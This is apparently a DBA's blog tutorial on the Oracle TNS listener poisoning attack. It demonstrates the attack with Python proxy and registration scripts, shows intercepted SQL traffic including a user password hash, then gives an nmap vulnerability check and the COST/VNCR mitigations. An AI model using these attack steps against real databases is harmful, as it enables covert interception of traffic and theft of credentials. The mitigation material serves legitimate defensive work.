TNS poison attack and Workaround

Summary:

I have described about TNS poison attack here and I have divided the description in 3 following section.

1. Section 1: Demonstrate a TNS Poison attack

2. Section 2: How to check easily your database is vulnerable or not

3. Section 3: Work around to save your database from TNS poisoning attack

Section 1: Demonstrate a TNS Poison attack

In that section I have given a demonstration how to do TNS poison attack. To do the TNS poison attack you will need to have access in database server and you will need to know following things:

1. Database SID

2. Listener Port number

3. Database server ip address

In that example my database SID is “prodon”, Listener port number 1521 and Database Server ip address “10.0.80.46”. I have used python scripts here to perform TNS Poisoning that you can download from this page attached file(TNSPOISON.ZIP).

Before doing the TNS poisoning I am showing how the listener looks like.

[oracle@server1 ~]$ lsnrctl status

LSNRCTL for Linux: Version 11.2.0.3.0 - Production on 22-NOV-2016 17:09:40

Copyright (c) 1991, 2011, Oracle. All rights reserved.

Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=server1.test.com)(PORT=1521)))

STATUS of the LISTENER

------------------------

Alias LISTENER

Version TNSLSNR for Linux: Version 11.2.0.3.0 - Production

Start Date 21-NOV-2016 00:00:22

Uptime 1 days 17 hr. 9 min. 17 sec

Trace Level off

Security ON: Local OS Authentication

SNMP OFF

Listener Parameter File /opt/oracle/product/11.2.0.3/network/admin/listener.ora

Listener Log File /opt/oracle/diag/tnslsnr/server1/listener/alert/log.xml

Listening Endpoints Summary...

(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=server1.test.com)(PORT=1521)))

Services Summary...

Service "prodon" has 1 instance(s).

Instance "prodon", status READY, has 1 handler(s) for this service...

So now using the proxy.py script in the Zip file I am running proxy from the machine I am attacking to accept traffic. I have given local ip address, local port number, remote database server ip address and database port number. This script will Proxy on attacker machine to accept client connection and forward to database server.

[hacker@server2 ~]$ python proxy.py --local-ip 10.0.80.16 --local-port 1521 --remote-ip 10.0.76.50 --remote-port 1521

Magic happen now when I will run the second phython script tnspoisonv1.py. This script will say the database Hey, using remote registration you have another partner to load balance your traffic. It will now send the registration packet to the database. This script will use to poison the remote database listener.

[hacker@server2 ~]$ python tnspoisonv1.py 10.0.80.16 1521 prodon 10.0.80.46 1521

Sending initial buffer ...

Answer: Accept(2)

Sending registration ...

'\x04N\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x04D \x08\xff\x03\x01\x00\x124444

Answer: Data(6)

'\x01\xe2\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x01\xd8$\x08\xff\x03\x01\x00\x1244xx4x\x10\x102\x102\x102Tv\x102\x102Tv\x00x\x102Tv\x00\x00\xac\x01\x00\x80\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xa0\xe8\xfe\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \xa5\x15\x01\x00\x00\x00\x00S\xcc\xd3f \x0f\x07V\xe0@\x00\x7f\x01\x00,\xa1\x05\x00\x00\x00\n\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00\x00@i\x04\x01\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@@\x0c\x01\x00\x00\x00\x00prodonXDB\x00\x05\x00\x00\x00\x0b\x00\x00\x00\x01\x00\xfb\x00\x00\x00\x00\x00 \x0f\t\x01\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x0c\xff\x00\x00\x00\x00\x00prodon_XPT\x00\x05\x00\x00\x00\x07\x00\x00\x00\x01\x00\x01\x01\x00\x00\x00\x00\x80\x93\x01\x01\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00P\xe3\x0b\x01\x00\x00\x00\x00prodon\x00\x05\x00\x00\x00\x10\x00\x00\x00\x02\x00\xf8\xe32\x00\x00\x00\xa0K\xfb\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x106\xfb\x00\x00\x00\x00\x00S\xcc\xd3f \x15\x07V\xe0@\x00\x7f\x01\x00,\xa1\x05\x00\x00\x00\x10\x00\x00\x00\x02\x00\x04\x01\x00\x00\x00\x00\xc0\xba\x17\x01\x00\x00\x00\x00\x08\x00\x00\x00prod\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00S\xcc\xd3f \x11\x07V\xe0@\x00\x7f\x01\x00,\xa1'

Sleeping for 10 seconds... (Ctrl+C to stop)...

Now if you check your listener you will see now 2 instance running.

[oracle@server1 ~]$ lsnrctl status

LSNRCTL for Linux: Version 11.2.0.3.0 - Production on 22-NOV-2016 17:11:15

Copyright (c) 1991, 2011, Oracle. All rights reserved.

Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=server1.test.com)(PORT=1521)))

STATUS of the LISTENER

------------------------

Alias LISTENER

Version TNSLSNR for Linux: Version 11.2.0.3.0 - Production

Start Date 21-NOV-2016 00:00:22

Uptime 1 days 17 hr. 10 min. 52 sec

Trace Level off

Security ON: Local OS Authentication

SNMP OFF

Listener Parameter File /opt/oracle/product/11.2.0.3/network/admin/listener.ora

Listener Log File /opt/oracle/diag/tnslsnr/server1/listener/alert/log.xml

Listening Endpoints Summary...

(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=server1.test.com)(PORT=1521)))

Services Summary...

Service "prodon" has 2 instance(s).

Instance "prodon", status READY, has 1 handler(s) for this service...

Instance "prodon", status READY, has 1 handler(s) for this service...

The command completed successfully

So now to show you how the hacker can see your traffic I am executing a sql as a DBA’ user. I am checking the password of scott user.

SQL> select name,password from sys.user$ where name='SCOTT';

NAME PASSWORD

--------------------------------------------------------------------------------

SCOTT 9F6B46CD67F2HDC1

Now if I go back to the hacker screen I can see its bit ugly but I can see the SQL statement and output of the SQL statement.

[hacker@server2 ~]$ python proxy.py --local-ip 10.0.80.16 --local-port 1521 --remote-ip 10.0.80.46 --remote-port 1521

RECV "\x01M\x00\x00\x06\x00\x00\x00\x00\x00\x11i\x15\xfe\xff\xff\xff\xff\xff\xff\xff\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03^\x16a\x80\x00\x00\x00\x00\x00\x00\xfe\xff\xff\xff\xff\xff\xff\xff\x9c\x00\x00\x00\x00\x00\x00\x00\xfe\xff\xff\xff\xff\xff\xff\xff\r\x00\x00\x00\x00\x00\x00\x00\xfe\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfe\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xfe\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff\xff\xff\xff\xff\xa8\xdc>\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfe\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x004select name,password from sys.user$ where name='SCOTT'\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

SEND '\x01\xca\x00\x00\x06\x00\x00\x00\x00\x00\x10\x17\x00\x00\x00\xd2r\xfag\xae\x08\xe1V\xc3\x93]\x07\xf6,\x15\x02xt\x0b\x16\x12%\x19<\x00\x00\x00\x02\x00\x00\x00Q\x01\x01\x80\x00\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00i\x03\x01\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x04\x04\x00\x00\x00\x04NAME\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x80\x00\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00i\x03\x01\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x01\x08\x08\x00\x00\x00\x08PASSWORD\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x07\x00\x00\x00\x07xt\x0b\x16\x12%\x19\x00\x00\x00\x00\xe8\x1f\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x06\x01"\x03\x02\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x83\xcf\xba\x7f\x00\x00\x07\x03SCOTT\x109F6B46CD67F2HDC1\x08\x06\x00\xf35\xdc\x9d2\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x01\x00\x00\x00\x14\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x1e\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x16\x00\x00\x01\x00\x00\x006\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \xd7\xb0\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

RECV '\x00\x15\x00\x00\x06\x00\x00\x00\x00\x00\x03\x05\x17\x01\x00\x00\x00\x0f\x00\x00\x00'

SEND '\x00\xac\x00\x00\x06\x00\x00\x00\x00\x00\x04\x01\x00\x00\x00\x15\x00\x01\x01\x00\x00\x00{\x05\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x17\x00\x00\x01\x00\x00\x006\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \xd7\xb0\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19ORA-01403: no data found\n'

Bingo, so that was really easy to attack, so you can change the python script and inject SQL easily. This is really powerful attack because nobody even the DBA’s will not notice anything unless they check log file and listener status.

Section 2: How to check easily your database is vulnerable or not

There is no direct tools from Oracle to check you database is vulnerable or not from TNS poison attack. Using open source free tools nmap you can check easily your database is vulnerable or not. nmap use to scan network and the good thing in nmap is using it you can check large number of database server very easily by giving ip range(if listener port number is same). Here I have used a tns posion script in nmap to check the database is vulnerable or not. You can download the script from this page(NMAP TNS POSION CHECK SCRIPT.ZIP).

Example:

[hacker@server2 ~]$ nmap -Pn -sT --system-dns --script=/home/users/ hacker/oracle-tns-poison.nse -p 1521 10.0.80.46

Starting Nmap 5.51 ( http://nmap.org ) at 2016-11-23 12:02 CET

Nmap scan report for server1.test.com (10.0.80.46 )

Host is up (0.00066s latency).

PORT STATE SERVICE

1521/tcp open oracle

|_oracle-tns-poison: Host is vulnerable!

Nmap done: 1 IP address (1 host up) scanned in 0.10 seconds

[hacker@server2 ~]$ nmap -Pn -sT --system-dns --script=/home/users/ hacker/oracle-tns-poison.nse -p 1521 10.0.80.48

Starting Nmap 5.51 ( http://nmap.org ) at 2016-11-23 12:05 CET

Nmap scan report for server5.test.com(10.0.80.48)

Host is up (0.00073s latency).

PORT STATE SERVICE

1521/tcp open oracle

|_oracle-tns-poison: Not Vulnerable

Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds

Section 3: Work around to save your database from TNS poisoning attack

Database 10.2.0.3 to 12.1.0.2:

For Oracle Database 10.2.0.3 to 12.1.0.2 you can you use Class of Secure Transport (COST) to Restrict Instance Registration. Please check metlink id 1453883.1 and for RAC environment please check metalink id 1340831.1.

Database 11.2.0.4 to 12.1.0.2:

Valid Node Checking for Registration (VNCR) is a new feature in Oracle Net 11.2.0.4 and 12c which allows instance registrations to only come from known servers. VNCR is easier to setup then COST. So if you are running database version between 11.2.0.4 to 12.1.0.2 then better to use VNCR instead of COST.

VALID_NODE_CHECKING_REGISTRATION_<listener_name>

Note that if your listener name is not LISTENER then it does work. So if your listener name is not LISTENER then you will need to change it, e.g if your listener name is prod then it should be VALID_NODE_CHECKING_REGISTRATION_PROD. For more detail please check metalink id 1600630.1

References:

http://joxeankoret.com/research.html

https://gist.github.com/JukArkadiy/3d6cff222d1b87e963e7